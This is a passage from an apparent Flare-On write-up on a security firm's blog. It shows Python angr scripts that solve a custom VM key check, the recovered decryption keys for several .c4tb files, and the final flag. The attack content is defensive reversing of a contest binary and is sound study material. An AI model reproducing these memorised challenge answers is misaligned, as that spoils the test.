And 1e06ed0 is only written inside 1ccf274, according to the cross-reference:

image.png

So we can guess that this is the result of the VM code. Furthermore, we need it to be 0 at the end.

Basically, the .c4tb file contains the encrypted file (probably data1), and a custom VM code to check the key (data2). If the VM has non-0 return value, the check passes.

Honestly, this sounds too much like the job for angr, and I don’t really want to write the custom parser yet, so let’s YOLO it with angr.

import angr
import claripy

with open('catmeme1.jpg.c4tb', 'rb') as f:
  f.read(8)
  offset = int.from_bytes(f.read(4), 'little')
  size = int.from_bytes(f.read(4), 'little')
  f.seek(offset, 0)
  data = list(f.read(size))

key = [claripy.BVS(f'k{i}', 8) for i in range(16)]

data[5] = key[0]
data[4] = key[1]
data[12] = key[2]
data[11] = key[3]
data[19] = key[4]
data[18] = key[5]
data[26] = key[6]
data[25] = key[7]
data[33] = key[8]
data[32] = key[9]
data[40] = key[10]
data[39] = key[11]
data[47] = key[12]
data[46] = key[13]
data[54] = key[14]
data[53] = key[15]

RET_ADDR = 0x1ccf91e
STATUS_ADDR = 0x1e06ed0
FUN_ENTRY_ADDR = 0x1CCF285
DATA_PTR_ADDR = 0x1D865A8

proj = angr.Project('dec1.com')
state = proj.factory.call_state(FUN_ENTRY_ADDR)
data_sec = state.heap.allocate(size)

for i in range(size):
  state.mem[data_sec + i].uint8_t = data[i]
state.mem[DATA_PTR_ADDR].uint64_t = data_sec

simgr = proj.factory.simulation_manager(state)

def found(state):
  if state.addr == RET_ADDR:
    status = state.memory.load(STATUS_ADDR, 8)
    state.add_constraints(status != 0)
    return state.solver.satisfiable()

simgr.explore(find=found, avoid=RET_ADDR)
assert len(simgr.found) == 1
state = simgr.found[0]
print(bytes((state.solver.eval(k) for k in key)))

The catmeme1.jpg.c4tb file can be extracted from the disk.img by directly mounting it

mkdir mnt
sudo mount disk.img mnt

After running for about 3 minutes, we get our solution DaCubicleLife101. I love angr.

Using the decrypt_file command, we can successfully decrypt the file:

image.png

Which gives us this image:

catmeme1.jpg

Switch the input to catmeme2.jpg.c4tb. We also get the key using the same script quite fast, it’s G3tDaJ0bD0neM4te. The file decrypts to this image:

catmeme2.jpg

Nice, now let’s try catmeme3.jpg.c4tb

After 15 minutes or something, angr throws an error and exited:

image.png

guessing game

OK, let’s take a step back and see if we have any progress at all. We add these code to print out the solutions given current constraints:

    for act in simgr.active:
      if act != state:
          print(act.solver.eval(claripy.Concat(*key), cast_to=bytes))

image.png

Doesn’t seem to be anything interesting. Let’s add more constraints that limits the key to only alpha-numericals:

for k in key:
  state.add_constraints(claripy.Or(
    claripy.And(k >= 48, k <= 57),
    claripy.And(k >= 65, k <= 90),
    claripy.And(k >= 97, k <= 122),
  ))

image.png

Huh, I think I see DumB in there. Let’s see what other answers can we get:

        print(act.solver.eval_upto(claripy.Concat(*key), n=10, cast_to=bytes))

image.png

I think VerYDumB looks very much like the first part of the key. So let’s fix it as constant:

key[0:8] = b'VerYDumB'

the latter part however, still doesn’t show anything interesting. And after waiting for a long time, the same error is thrown.

Searching for documentation, it seems the error is thrown because it reached the internal timeout. We can manually increase it to a very high number:

state.solver._solver.timeout = 0xFFFFFFFF

Now it’s the waiting game. During this time I actually tried to write that one-time custom VM disassembler, just like any other reversing challenge. I got a working edition and even transpiled it into C so I can use decompiler to look into it.

Anyway, after 1 hour or maybe more, I came back to look at it, and it is solved.

image.png

The final script looks like this:

import angr
import claripy

with open("catmeme3.jpg.c4tb", "rb") as f:
  f.read(8)
  offset = int.from_bytes(f.read(4), 'little')
  size = int.from_bytes(f.read(4), 'little')
  f.seek(offset, 0)
  data = list(f.read(size))

key = [claripy.BVS(f'k{i}', 8) for i in range(16)]
key[0:8] = b'VerYDumB'

data[5] = key[0]
data[4] = key[1]
data[12] = key[2]
data[11] = key[3]
data[19] = key[4]
data[18] = key[5]
data[26] = key[6]
data[25] = key[7]
data[33] = key[8]
data[32] = key[9]
data[40] = key[10]
data[39] = key[11]
data[47] = key[12]
data[46] = key[13]
data[54] = key[14]
data[53] = key[15]

RET_ADDR = 0x1ccf91e
STATUS_ADDR = 0x1e06ed0
FUN_ENTRY_ADDR = 0x1CCF285
DATA_PTR_ADDR = 0x1D865A8

proj = angr.Project('dec1.com')
state = proj.factory.call_state(FUN_ENTRY_ADDR)
state.solver._solver.timeout = 0xFFFFFFFF
data_sec = state.heap.allocate(size)

for i in range(size):
  state.mem[data_sec + i].uint8_t = data[i]
state.mem[DATA_PTR_ADDR].uint64_t = data_sec

for k in key:
  state.add_constraints(claripy.Or(
    claripy.And(k >= 48, k <= 57),
    claripy.And(k >= 65, k <= 90),
    claripy.And(k >= 97, k <= 122),
  ))

simgr = proj.factory.simulation_manager(state)

def found(state):
  if state.addr == RET_ADDR:
    status = state.memory.load(STATUS_ADDR, 8)
    state.add_constraints(status != 0)
    return state.solver.satisfiable()

simgr.explore(find=found, avoid=RET_ADDR)
assert len(simgr.found) == 1
state = simgr.found[0]
print(state.solver.eval_upto(claripy.Concat(*key), n=10, cast_to=bytes))

cat meme

We decrypt the third file using the password we just got:

image.png

and the file decrypts to this image:

catmeme3.jpg

Notice that another file is also decrypted to Dilboot.efi. The message tells us not to run it, but how about let’s run it:

image.png

Oh, a new .c4tb file. This time the password is directly given to us, so let’s decrypt it

image.png

which gives us this image:

your_mind.jpg

Combining all parts together, including the texts printed out when decrypting your_mind.jpg.c4tb, we get

th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructio0n@flare-on.com

Thank you for reading. See you next year 😀

セキュリティ診断のことなら
お気軽にご相談ください
セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。

関連記事

経験豊富なエンジニアが
セキュリティの不安を解消します

Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

疑問点やお見積もり依頼はこちらから

お見積もり・お問い合わせ

セキュリティ診断サービスについてのご紹介

資料ダウンロード